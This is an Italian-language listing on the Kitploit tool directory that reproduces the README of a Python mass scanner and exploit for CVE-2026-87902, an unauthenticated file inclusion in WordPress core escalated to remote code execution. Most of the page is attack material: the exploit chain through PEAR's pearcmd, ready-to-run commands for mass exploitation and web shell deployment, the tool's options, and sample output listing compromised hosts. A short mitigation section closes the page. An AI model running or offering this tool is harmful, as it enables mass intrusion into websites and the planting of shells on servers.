Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-87902 — Scanner di massa e exploit in Python per CVE-2026-87902, una LFI non autenticata nel core di WordPress in get_page_template() escalata a RCE tramite la catena di gadget PEAR e la shell di File Manager. | Kitploit
Strumenti/GitHubGitHub/hackfutsecroot/cve-2026-87902
Scanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebPost-ExploitSicurezza WebPenetration TestingStrumento di Accesso Remoto
GitHubhackfutsecroot/cve-2026-87902

CVE-2026-87902

Scanner di massa e exploit in Python per CVE-2026-87902, una LFI non autenticata nel core di WordPress in get_page_template() escalata a RCE tramite la catena di gadget PEAR e la shell di File Manager.

Vedi RepositorySito web
31 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🎯 CVE-2026-87902 — WordPress Core LFI → RCE



🔍 Panoramica · ⚡ Avvio rapido · 🎯 Utilizzo · 📊 Output · 📞 Contatti


🔍 Panoramica

CVE-2026-87902 è una vulnerabilità critica di Local File Inclusion (LFI) non autenticata nel core di WordPress che porta a Remote Code Execution (RCE) tramite la gadget chain PEAR.

La vulnerabilità risiede in wp-includes/template.php:get_page_template(), che utilizza la variabile di query pubblica pagename (letta da $_POST) per costruire il nome di un template senza farla passare attraverso validate_file(). Poiché locate_template() esegue solo file_exists(), una directory page-* reale all'interno del tema attivo consente il path traversal completo.

🎯 Catena di attacco

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ Versioni interessate

ProdottoVulnerabileCorretto
WordPress Core4.7.0 → 7.1.17.1.2+
Gravità🔴 CRITICA—
CVSS 4.09.8—
Autenticazione❌ Nessuna richiesta—

⚡ Avvio rapido

📦 Installazione

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 Primo avvio

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 Utilizzo

📋 Modalità disponibili

Modalità Comando Descrizione
🔍 Check python main.py -l targets.txt --check Rilevamento LFI non distruttivo
💥 LFI python main.py -l targets.txt Conferma LFI con oracle OPML
⚡ RCE python main.py -l targets.txt --rce --command "id" Esegue comandi tramite PEAR
📁 Shell python main.py -l targets.txt --rce --shell Distribuisce File Manager

🔧 Opzioni della riga di comando

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 Esempi

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Output

Dopo un'esecuzione riuscita, vengono generati i seguenti file:

FileContenuto
📄 results.txtLog completo della scansione
🎯 vulnerable.txtTarget con LFI confermata
💀 rce.txtTarget con RCE riuscita
📁 shells.txtURL del File Manager

🖥️ Esempio di output della console

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ Mitigazione

Se sei un amministratore di sistema:

  1. Aggiorna WordPress a 7.1.2 o versione successiva
  2. Applica i backport per il tuo branch:
    • 6.8.10, 7.0.6, 7.1.2
  3. Regola WAF: blocca le richieste con pagename contenente ../ o %2e%2e
  4. Disabilita register_argc_argv in php.ini (blocca la catena PEAR)
  5. Rimuovi pearcmd.php se PEAR non è necessario
; php.ini
register_argc_argv = Off

📞 Contatti

🌐 Connettiti con noi

Scarica lo strumento